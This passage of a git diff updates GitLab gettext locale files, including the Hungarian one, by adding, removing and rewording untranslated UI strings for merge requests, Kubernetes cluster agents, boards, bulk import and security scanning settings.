msgstr ""
-msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
+msgid "mrWidget|To change this default message, edit the template for squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
msgstr ""
-msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
+msgid "mrWidget|Users who can write to the source or target branches can resolve the conflicts."
msgstr ""
msgid "mrWidget|What is a merge train?"
msgstr ""
-msgid "mrWidget|You can merge after removing denied licenses"
-msgstr ""
-
-msgid "mrWidget|You can only merge once this merge request is approved."
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
@@ -41605,6 +42277,18 @@ msgstr ""
msgid "pipeline schedules documentation"
msgstr ""
+msgid "pipelineEditorWalkthrough|Let's do this!"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|See how GitLab pipelines work"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|This %{codeStart}.gitlab-ci.yml%{codeEnd} file creates a simple test pipeline."
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|Use the %{boldStart}commit changes%{boldEnd} button at the bottom of the page to run the pipeline."
+msgstr ""
+
msgid "pod_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -41788,9 +42472,6 @@ msgstr ""
msgid "smartcn custom analyzer"
msgstr ""
-msgid "sort:"
-msgstr ""
-
msgid "source"
msgstr ""
@@ -41815,6 +42496,9 @@ msgstr ""
msgid "starts on %{timebox_start_date}"
msgstr ""
+msgid "structure is too large"
+msgstr ""
+
msgid "stuck"
msgstr ""
diff --git a/locale/hu_HU/gitlab.po b/locale/hu_HU/gitlab.po
index c987b9f5b3b..9c3a99bbf54 100644
--- a/locale/hu_HU/gitlab.po
+++ b/locale/hu_HU/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: hu\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-11-02 00:40\n"
+"PO-Revision-Date: 2021-12-06 18:57\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -70,9 +70,6 @@ msgstr ""
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
msgstr ""
-msgid "\"el\" parameter is required for createInstance()"
-msgstr ""
-
msgid "#%{issueIid} (closed)"
msgstr ""
@@ -239,6 +236,11 @@ msgid_plural "%d fixed test results"
msgstr[0] ""
msgstr[1] ""
+msgid "%d fork"
+msgid_plural "%d forks"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d group"
msgid_plural "%d groups"
msgstr[0] ""
@@ -289,6 +291,11 @@ msgid_plural "%d merge requests that you don't have access to."
msgstr[0] ""
msgstr[1] ""
+msgid "%d merge requests"
+msgid_plural "%d merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d metric"
msgid_plural "%d metrics"
msgstr[0] ""
@@ -354,6 +361,11 @@ msgid_plural "%d shards selected"
msgstr[0] ""
msgstr[1] ""
+msgid "%d star"
+msgid_plural "%d stars"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d tag"
msgid_plural "%d tags"
msgstr[0] ""
@@ -407,6 +419,12 @@ msgstr[1] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{actionText} & close %{noteable}"
+msgstr ""
+
+msgid "%{actionText} & reopen %{noteable}"
+msgstr ""
+
msgid "%{address} is an invalid IP address range"
msgstr ""
@@ -483,6 +501,11 @@ msgstr[1] ""
msgid "%{count} approvals from %{name}"
msgstr ""
+msgid "%{count} contact"
+msgid_plural "%{count} contacts"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} files touched"
msgstr ""
@@ -705,7 +728,7 @@ msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request draft from merging before it's ready."
msgstr ""
msgid "%{link_start}What information does GitLab Inc. collect?%{link_end}"
@@ -759,6 +782,9 @@ msgstr ""
msgid "%{name} is already being used for another emoji"
msgstr ""
+msgid "%{name} is reserved for %{type} report type"
+msgstr ""
+
msgid "%{name} is scheduled for %{action}"
msgstr ""
@@ -791,9 +817,6 @@ msgstr ""
msgid "%{oneYearAgo} - %{today}"
msgstr ""
-msgid "%{openOrClose} %{noteable}"
-msgstr ""
-
msgid "%{openedEpics} open, %{closedEpics} closed"
msgstr ""
@@ -818,6 +841,9 @@ msgstr ""
msgid "%{primary} (%{secondary})"
msgstr ""
+msgid "%{project_path} is a project that you can use to add a README to your GitLab profile. Create a public project and initialize the repository with a README to get started. %{help_link_start}Learn more.%{help_link_end}"
+msgstr ""
+
msgid "%{ref} cannot be added: %{error}"
msgstr ""
@@ -850,6 +876,9 @@ msgstr ""
msgid "%{scope} results for term '%{term}'"
msgstr ""
+msgid "%{search} %{description} %{scope}"
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -896,9 +925,6 @@ msgstr ""
msgid "%{start} to %{end}"
msgstr ""
-msgid "%{state} epics"
-msgstr ""
-
msgid "%{strongOpen}Warning:%{strongClose} SAML group links can cause GitLab to automatically remove members from groups."
msgstr ""
@@ -997,6 +1023,9 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
+msgid "%{type} only supports %{name} name"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1128,6 +1157,11 @@ msgstr ""
msgid "(revoked)"
msgstr ""
+msgid "(squashes %d commit)"
+msgid_plural "(squashes %d commits)"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "(this user)"
msgstr ""
@@ -1137,6 +1171,9 @@ msgstr ""
msgid "* All times are in UTC unless specified"
msgstr ""
+msgid "*Required"
+msgstr ""
+
msgid "+ %{amount} more"
msgstr ""
@@ -1175,6 +1212,9 @@ msgstr ""
msgid "+%{tags} more"
msgstr ""
+msgid ", and "
+msgstr ""
+
msgid ", or "
msgstr ""
@@ -1480,9 +1520,6 @@ msgstr ""
msgid "A new Release %{tag} for %{name} was published. Visit the Releases page to read more about it:"
msgstr ""
-msgid "A new branch will be created in your fork and a new merge request will be started."
-msgstr ""
-
msgid "A new impersonation token has been created."
msgstr ""
@@ -1519,9 +1556,6 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
-msgid "A string appended to the project path to form the Service Desk email address."
-msgstr ""
-
msgid "A title is required"
msgstr ""
@@ -1570,9 +1604,6 @@ msgstr ""
msgid "APIFuzzing|Choose a profile"
msgstr ""
-msgid "APIFuzzing|Code snippet could not be generated. Try again later."
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -1708,9 +1739,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied! Please verify you can add deploy keys to this repository."
-msgstr ""
-
msgid "Access denied: %{error}"
msgstr ""
@@ -1957,12 +1985,18 @@ msgstr ""
msgid "Add a related issue"
msgstr ""
+msgid "Add a suffix to Service Desk email address. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
msgid "Add a table"
msgstr ""
msgid "Add a task list"
msgstr ""
+msgid "Add a title…"
+msgstr ""
+
msgid "Add a to do"
msgstr ""
@@ -2005,6 +2039,12 @@ msgstr ""
msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
msgstr ""
+msgid "Add customer relation contact(s)."
+msgstr ""
+
+msgid "Add customer relation contacts"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2047,9 +2087,6 @@ msgstr ""
msgid "Add new directory"
msgstr ""
-msgid "Add new service account"
-msgstr ""
-
msgid "Add or remove previously merged commits"
msgstr ""
@@ -2119,6 +2156,9 @@ msgstr ""
msgid "Add variable"
msgstr ""
+msgid "Add vulnerability finding"
+msgstr ""
+
msgid "Add webhook"
msgstr ""
@@ -2164,9 +2204,6 @@ msgstr ""
msgid "Added an issue to an epic."
msgstr ""
-msgid "Added at"
-msgstr ""
-
msgid "Added for this merge request"
msgstr ""
@@ -2209,7 +2246,7 @@ msgstr ""
msgid "Adds %{labels} %{label_text}."
msgstr ""
-msgid "Adds a Zoom meeting"
+msgid "Adds a Zoom meeting."
msgstr ""
msgid "Adds a to do."
@@ -2218,7 +2255,7 @@ msgstr ""
msgid "Adds an issue to an epic."
msgstr ""
-msgid "Adds email participant(s)"
+msgid "Adds email participant(s)."
msgstr ""
msgid "Adjust how frequently the GitLab UI polls for updates."
@@ -2314,6 +2351,9 @@ msgstr ""
msgid "AdminArea|Maintainer"
msgstr ""
+msgid "AdminArea|Minimal access"
+msgstr ""
+
msgid "AdminArea|New group"
msgstr ""
@@ -2380,7 +2420,7 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
+msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. After you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
msgid "AdminProjects|Delete"
@@ -2917,19 +2957,28 @@ msgstr ""
msgid "Advanced export options"
msgstr ""
+msgid "AdvancedSearch|Reindex required"
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. You will lose this project's repository and %{strongStart}all related resources%{strongEnd}, including issues and merge requests."
+msgstr ""
+
msgid "After a successful password update you will be redirected to login screen."
msgstr ""
msgid "After a successful password update, you will be redirected to the login page where you can log in with your new password."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or code quality as well as many other features."
+msgid "After it expires, you can't use merge approvals, code quality, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many other features."
+msgid "After it expires, you can't use merge approvals, epics, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many security features."
+msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
msgid "After you've reviewed these contribution guidelines, you'll be all set to"
@@ -3520,9 +3569,6 @@ msgstr ""
msgid "An empty GitLab User field will add the FogBugz user's full name (e.g. \"By John Smith\") in the description of all issues and comments. It will also associate and/or assign these issues and comments with the project creator."
msgstr ""
-msgid "An empty index will be created if one does not already exist"
-msgstr ""
-
msgid "An error has occurred"
msgstr ""
@@ -3550,6 +3596,9 @@ msgstr ""
msgid "An error occurred fetching the project authors."
msgstr ""
+msgid "An error occurred fetching the public deploy keys. Please try again."
+msgstr ""
+
msgid "An error occurred previewing the blob"
msgstr ""
@@ -3709,6 +3758,9 @@ msgstr ""
msgid "An error occurred while loading chart data"
msgstr ""
+msgid "An error occurred while loading code owners."
+msgstr ""
+
msgid "An error occurred while loading commit signatures"
msgstr ""
@@ -3891,6 +3943,9 @@ msgstr ""
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
msgstr ""
+msgid "An integer value is required for seconds"
+msgstr ""
+
msgid "An issue already exists"
msgstr ""
@@ -3930,6 +3985,9 @@ msgstr ""
msgid "Analyze your dependencies for known vulnerabilities."
msgstr ""
+msgid "Analyze your infrastructure as code configuration files for known vulnerabilities."
+msgstr ""
+
msgid "Analyze your source code and git history for secrets."
msgstr ""
@@ -3972,9 +4030,6 @@ msgstr ""
msgid "Any encrypted tokens"
msgstr ""
-msgid "Any files larger than this limit only index the file name. The file content is neither indexed nor searchable."
-msgstr ""
-
msgid "Any label"
msgstr ""
@@ -3987,9 +4042,6 @@ msgstr ""
msgid "Any namespace"
msgstr ""
-msgid "App Engine description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "App ID"
msgstr ""
@@ -4046,6 +4098,9 @@ msgid_plural "ApplicationSettings|Approve %d users"
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|Approve users"
+msgstr ""
+
msgid "ApplicationSettings|Approve users in the pending approval status?"
msgstr ""
@@ -4054,6 +4109,9 @@ msgid_plural "ApplicationSettings|By making this change, you will automatically
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|By making this change, you will automatically approve all users in pending approval status."
+msgstr ""
+
msgid "ApplicationSettings|Denied domains for sign-ups"
msgstr ""
@@ -4466,6 +4524,9 @@ msgstr ""
msgid "Are you sure you want to delete this SSH key?"
msgstr ""
+msgid "Are you sure you want to delete this deploy key?"
+msgstr ""
+
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
@@ -4669,6 +4730,9 @@ msgstr ""
msgid "Assign to commenting user"
msgstr ""
+msgid "Assign to me"
+msgstr ""
+
msgid "Assign yourself to these issues"
msgstr ""
@@ -4766,6 +4830,9 @@ msgstr ""
msgid "Audit Events"
msgstr ""
+msgid "Audit events"
+msgstr ""
+
msgid "AuditLogs|(removed)"
msgstr ""
@@ -5414,6 +5481,9 @@ msgstr ""
msgid "Billing|Users occupying seats in"
msgstr ""
+msgid "Billing|View pending approvals"
+msgstr ""
+
msgid "Billing|You are about to remove user %{username} from your subscription. If you continue, the user will be removed from the %{namespace} group and all its subgroups and projects. This action can't be undone."
msgstr ""
@@ -5491,6 +5561,9 @@ msgstr ""
msgid "BoardScope|An error occurred while getting milestones, please try again."
msgstr ""
+msgid "BoardScope|An error occurred while searching for labels, please try again."
+msgstr ""
+
msgid "BoardScope|An error occurred while searching for users, please try again."
msgstr ""
@@ -5500,12 +5573,21 @@ msgstr ""
msgid "BoardScope|Any assignee"
msgstr ""
+msgid "BoardScope|Any label"
+msgstr ""
+
msgid "BoardScope|Assignee"
msgstr ""
+msgid "BoardScope|Choose labels"
+msgstr ""
+
msgid "BoardScope|Edit"
msgstr ""
+msgid "BoardScope|Labels"
+msgstr ""
+
msgid "BoardScope|Milestone"
msgstr ""
@@ -5518,6 +5600,9 @@ msgstr ""
msgid "BoardScope|Select assignee"
msgstr ""
+msgid "BoardScope|Select labels"
+msgstr ""
+
msgid "BoardScope|Select milestone"
msgstr ""
@@ -5609,6 +5694,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New board"
+msgstr ""
+
msgid "Boards|New epic"
msgstr ""
@@ -5621,6 +5709,9 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Board|An error occurred while fetching the board, please try again."
+msgstr ""
+
msgid "Board|Are you sure you want to delete this board?"
msgstr ""
@@ -5912,10 +6003,13 @@ msgstr ""
msgid "BulkImport|Import groups from GitLab"
msgstr ""
+msgid "BulkImport|Import is finished. Pick another name for re-import"
+msgstr ""
+
msgid "BulkImport|Import selected"
msgstr ""
-msgid "BulkImport|Importing the group failed"
+msgid "BulkImport|Importing the group failed."
msgstr ""
msgid "BulkImport|Last imported to %{link}"
@@ -5924,6 +6018,9 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|Name already used as a target for another group."
+msgstr ""
+
msgid "BulkImport|New group"
msgstr ""
@@ -6169,6 +6266,9 @@ msgstr ""
msgid "Cadence is not automated"
msgstr ""
+msgid "Calculate the number of slices during reindexing. The multiplier is applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -6463,10 +6563,10 @@ msgstr ""
msgid "ChangeReviewer|Unassigned"
msgstr ""
-msgid "ChangeTypeAction|A new branch will be created in your fork and a new merge request will be started."
+msgid "ChangeTypeAction|Cherry-pick"
msgstr ""
-msgid "ChangeTypeAction|Cherry-pick"
+msgid "ChangeTypeAction|GitLab will create a branch in your fork and start a merge request."
msgstr ""
msgid "ChangeTypeAction|Pick into branch"
@@ -6517,9 +6617,6 @@ msgstr ""
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
-msgid "Changes are still tracked. Useful for cluster/index migrations."
-msgstr ""
-
msgid "Changes saved."
msgstr ""
@@ -6532,6 +6629,9 @@ msgstr ""
msgid "Changes to the title have not been saved"
msgstr ""
+msgid "Changing any setting here requires an application restart"
+msgstr ""
+
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -6595,10 +6695,10 @@ msgstr ""
msgid "Check out, review, and merge locally"
msgstr ""
-msgid "Check the current instance configuration "
+msgid "Check the %{code_open}elasticsearch.log%{code_close} file to debug why the migration halted and make any changes before retrying the migration. When you fix the cause of the failure, select %{strong_open}Retry migration%{strong_close}, and the migration is scheduled to retry in the background."
msgstr ""
-msgid "Check the elasticsearch.log file to debug why the migration was halted and make any changes before retrying the migration. When you fix the cause of the failure, click \"Retry migration\", and the migration will be scheduled to be retried in the background."
+msgid "Check the current instance configuration "
msgstr ""
msgid "Check with your administrator."
@@ -6660,6 +6760,9 @@ msgstr ""
msgid "Checkout|%{name}'s storage subscription"
msgstr ""
+msgid "Checkout|%{quantity} CI minutes"
+msgstr ""
+
msgid "Checkout|%{quantity} GB of storage"
msgstr ""
@@ -6674,9 +6777,6 @@ msgstr ""
msgid "Checkout|%{startDate} - %{endDate}"
msgstr ""
-msgid "Checkout|%{totalCiMinutes} CI minutes"
-msgstr ""
-
msgid "Checkout|(may be %{linkStart}charged upon purchase%{linkEnd})"
msgstr ""
@@ -6875,9 +6975,6 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr ""
-
msgid "Choose a file"
msgstr ""
@@ -7175,6 +7272,9 @@ msgstr ""
msgid "Clients"
msgstr ""
+msgid "Clientside DSN"
+msgstr ""
+
msgid "Clone"
msgstr ""
@@ -7217,6 +7317,9 @@ msgstr ""
msgid "Close %{issueType}"
msgstr ""
+msgid "Close %{noteable}"
+msgstr ""
+
msgid "Close %{tabname}"
msgstr ""
@@ -7259,12 +7362,6 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
-msgid "Cloud Functions description and apps that are suitable for this deployment target"
-msgstr ""
-
-msgid "Cloud Run description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -7286,16 +7383,31 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
+msgid "ClusterAgents|%{number} of %{total} agents"
+msgstr ""
+
+msgid "ClusterAgents|%{number} of %{total} clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Access tokens"
msgstr ""
+msgid "ClusterAgents|Actions"
+msgstr ""
+
+msgid "ClusterAgents|Advanced installation methods"
+msgstr ""
+
+msgid "ClusterAgents|Agent"
+msgstr ""
+
msgid "ClusterAgents|Agent might not be connected to GitLab"
msgstr ""
msgid "ClusterAgents|Agent never connected to GitLab"
msgstr ""
-msgid "ClusterAgents|Alternative installation methods"
+msgid "ClusterAgents|All"
msgstr ""
msgid "ClusterAgents|An error occurred while loading your GitLab Agents"
@@ -7307,9 +7419,30 @@ msgstr ""
msgid "ClusterAgents|An unknown error occurred. Please try again."
msgstr ""
+msgid "ClusterAgents|Certificate"
+msgstr ""
+
msgid "ClusterAgents|Configuration"
msgstr ""
+msgid "ClusterAgents|Connect a cluster through the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect existing cluster"
+msgstr ""
+
+msgid "ClusterAgents|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the GitLab Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect your cluster through the Agent"
+msgstr ""
+
msgid "ClusterAgents|Connected"
msgstr ""
@@ -7319,6 +7452,9 @@ msgstr ""
msgid "ClusterAgents|Copy token"
msgstr ""
+msgid "ClusterAgents|Create a new cluster"
+msgstr ""
+
msgid "ClusterAgents|Created by"
msgstr ""
@@ -7328,28 +7464,31 @@ msgstr ""
msgid "ClusterAgents|Date created"
msgstr ""
+msgid "ClusterAgents|Deprecated"
+msgstr ""
+
msgid "ClusterAgents|Description"
msgstr ""
-msgid "ClusterAgents|For alternative installation methods %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Failed to register an agent"
msgstr ""
-msgid "ClusterAgents|For more troubleshooting information go to"
+msgid "ClusterAgents|For the advanced installation method %{linkStart}see the documentation%{linkEnd}."
msgstr ""
-msgid "ClusterAgents|Go to the repository"
+msgid "ClusterAgents|GitLab Agent"
msgstr ""
-msgid "ClusterAgents|Install a new GitLab Agent"
+msgid "ClusterAgents|GitLab Agent for Kubernetes"
msgstr ""
-msgid "ClusterAgents|Install new Agent"
+msgid "ClusterAgents|Go to the repository files"
msgstr ""
-msgid "ClusterAgents|Integrate Kubernetes with a GitLab Agent"
+msgid "ClusterAgents|How to register an agent?"
msgstr ""
-msgid "ClusterAgents|Integrate with the GitLab Agent"
+msgid "ClusterAgents|Install a new agent"
msgstr ""
msgid "ClusterAgents|Last connected %{timeAgo}."
@@ -7361,6 +7500,9 @@ msgstr ""
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn how to troubleshoot"
+msgstr ""
+
msgid "ClusterAgents|Make sure you are using a valid token."
msgstr ""
@@ -7373,60 +7515,78 @@ msgstr ""
msgid "ClusterAgents|Never connected"
msgstr ""
+msgid "ClusterAgents|No agents"
+msgstr ""
+
+msgid "ClusterAgents|No clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Not connected"
msgstr ""
-msgid "ClusterAgents|Read more about getting started"
+msgid "ClusterAgents|Recommended"
msgstr ""
msgid "ClusterAgents|Recommended installation method"
msgstr ""
-msgid "ClusterAgents|Registering Agent"
+msgid "ClusterAgents|Register"
msgstr ""
-msgid "ClusterAgents|Registration token"
+msgid "ClusterAgents|Register an agent to generate a token that will be used to install the agent on your cluster in the next step."
msgstr ""
-msgid "ClusterAgents|Select an Agent"
+msgid "ClusterAgents|Registering Agent"
msgstr ""
-msgid "ClusterAgents|Select the Agent you want to register with GitLab and install on your cluster. To learn more about the Kubernetes Agent registration process %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Registration token"
msgstr ""
-msgid "ClusterAgents|Select which Agent you want to install"
+msgid "ClusterAgents|Security"
msgstr ""
-msgid "ClusterAgents|The Agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
+msgid "ClusterAgents|Select an agent"
msgstr ""
-msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
+msgid "ClusterAgents|Select an agent to register with GitLab"
msgstr ""
-msgid "ClusterAgents|The GitLab Kubernetes Agent allows an Infrastructure as Code, GitOps approach to integrating Kubernetes clusters with GitLab. %{linkStart}Learn more.%{linkEnd}"
+msgid "ClusterAgents|The GitLab Agent provides an increased level of security when connecting Kubernetes clusters to GitLab. %{linkStart}Learn more about the GitLab Agent.%{linkEnd}"
msgstr ""
-msgid "ClusterAgents|The recommended installation method provided below includes the token. If you want to follow the alternative installation method provided in the docs make sure you save the token value before you close the window."
+msgid "ClusterAgents|The agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
msgstr ""
-msgid "ClusterAgents|The registration token will be used to connect the Agent on your cluster to GitLab. To learn more about the registration tokens and how they are used %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|The recommended installation method includes the token. If you want to follow the advanced installation method provided in the docs, make sure you save the token value before you close this window."
msgstr ""
-msgid "ClusterAgents|The token value will not be shown again after you close this window."
+msgid "ClusterAgents|The registration token will be used to connect the agent on your cluster to GitLab. %{linkStart}What are registration tokens?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|This agent has no tokens"
msgstr ""
-msgid "ClusterAgents|To install an Agent you should create an agent directory in the Repository first. We recommend that you add the Agent configuration to the directory before you start the installation process."
+msgid "ClusterAgents|To install a new agent, first add the agent's configuration file to this repository. %{linkStart}What's the agent's configuration file?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|Unknown user"
msgstr ""
+msgid "ClusterAgents|View all %{number} agents"
+msgstr ""
+
+msgid "ClusterAgents|View all %{number} clusters"
+msgstr ""
+
+msgid "ClusterAgents|You cannot see this token again after you close this window."
+msgstr ""
+
msgid "ClusterAgents|You will need to create a token to connect to your agent"
msgstr ""
+msgid "ClusterAgents|Your instance doesn't have the %{linkStart}GitLab Agent Server (KAS)%{linkEnd} set up. Ask a GitLab Administrator to install it."
+msgstr ""
+
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7568,15 +7728,18 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|Clusters connected with a certificate"
-msgstr ""
-
msgid "ClusterIntegration|Connect cluster with certificate"
msgstr ""
msgid "ClusterIntegration|Connect existing cluster"
msgstr ""
+msgid "ClusterIntegration|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Connect your cluster to GitLab through %{linkStart}cluster certificates%{linkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Connection Error"
msgstr ""
@@ -7703,9 +7866,6 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|GitLab Agent managed clusters"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -7751,12 +7911,6 @@ msgstr ""
msgid "ClusterIntegration|Instance type"
msgstr ""
-msgid "ClusterIntegration|Integrate Kubernetes with a cluster certificate"
-msgstr ""
-
-msgid "ClusterIntegration|Integrate with a cluster certificate"
-msgstr ""
-
msgid "ClusterIntegration|Integration disabled"
msgstr ""
@@ -7778,9 +7932,6 @@ msgstr ""
msgid "ClusterIntegration|Kubernetes cluster was successfully created."
msgstr ""
-msgid "ClusterIntegration|Kubernetes clusters allow you to use review apps, deploy your applications, run your pipelines, and much more in an easy way."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes version"
msgstr ""
@@ -8081,6 +8232,9 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
+msgid "ClusterIntegration|The certificate-based method to connect clusters to GitLab was %{linkStart}deprecated%{linkEnd} in GitLab 14.5."
+msgstr ""
+
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8135,6 +8289,9 @@ msgstr ""
msgid "ClusterIntegration|Unknown Error"
msgstr ""
+msgid "ClusterIntegration|Use the %{linkStart}GitLab Agent%{linkEnd} to safely connect your Kubernetes clusters to GitLab. You can deploy your applications, run your pipelines, use Review Apps, and much more."
+msgstr ""
+
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8192,9 +8349,6 @@ msgstr ""
msgid "Code"
msgstr ""
-msgid "Code Coverage: %{coveragePercentage}"
-msgstr ""
-
msgid "Code Coverage: %{coveragePercentage}%{percentSymbol}"
msgstr ""
@@ -8231,6 +8385,9 @@ msgstr ""
msgid "Code review"
msgstr ""
+msgid "Code snippet"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8656,6 +8813,12 @@ msgstr ""
msgid "Configure Prometheus"
msgstr ""
+msgid "Configure SAST IaC in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST IaC settings."
+msgstr ""
+
+msgid "Configure SAST IaC in `.gitlab-ci.yml`, creating this file if it does not already exist"
+msgstr ""
+
msgid "Configure SAST in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
msgstr ""
@@ -8668,6 +8831,9 @@ msgstr ""
msgid "Configure Secret Detection in `.gitlab-ci.yml`, creating this file if it does not already exist"
msgstr ""
+msgid "Configure Sentry integration for error tracking"
+msgstr ""
+
msgid "Configure Tracing"
msgstr ""
@@ -8707,9 +8873,6 @@ msgstr ""
msgid "Configure the way a user creates a new account."
msgstr ""
-msgid "Configure via Merge Request"
-msgstr ""
-
msgid "Configure which lists are shown for anyone who visits this board"
msgstr ""
@@ -9421,7 +9584,7 @@ msgstr ""
msgid "CorpusManagement|Latest Job:"
msgstr ""
-msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 10GB"
+msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 5GB"
msgstr ""
msgid "CorpusManagement|New upload"
@@ -9577,6 +9740,9 @@ msgstr ""
msgid "Create %{workspace} label"
msgstr ""
+msgid "Create Google Cloud project"
+msgstr ""
+
msgid "Create New Directory"
msgstr ""
@@ -9736,6 +9902,9 @@ msgstr ""
msgid "Create requirement"
msgstr ""
+msgid "Create service account"
+msgstr ""
+
msgid "Create snippet"
msgstr ""
@@ -9769,9 +9938,6 @@ msgstr ""
msgid "CreateTag|Tag"
msgstr ""
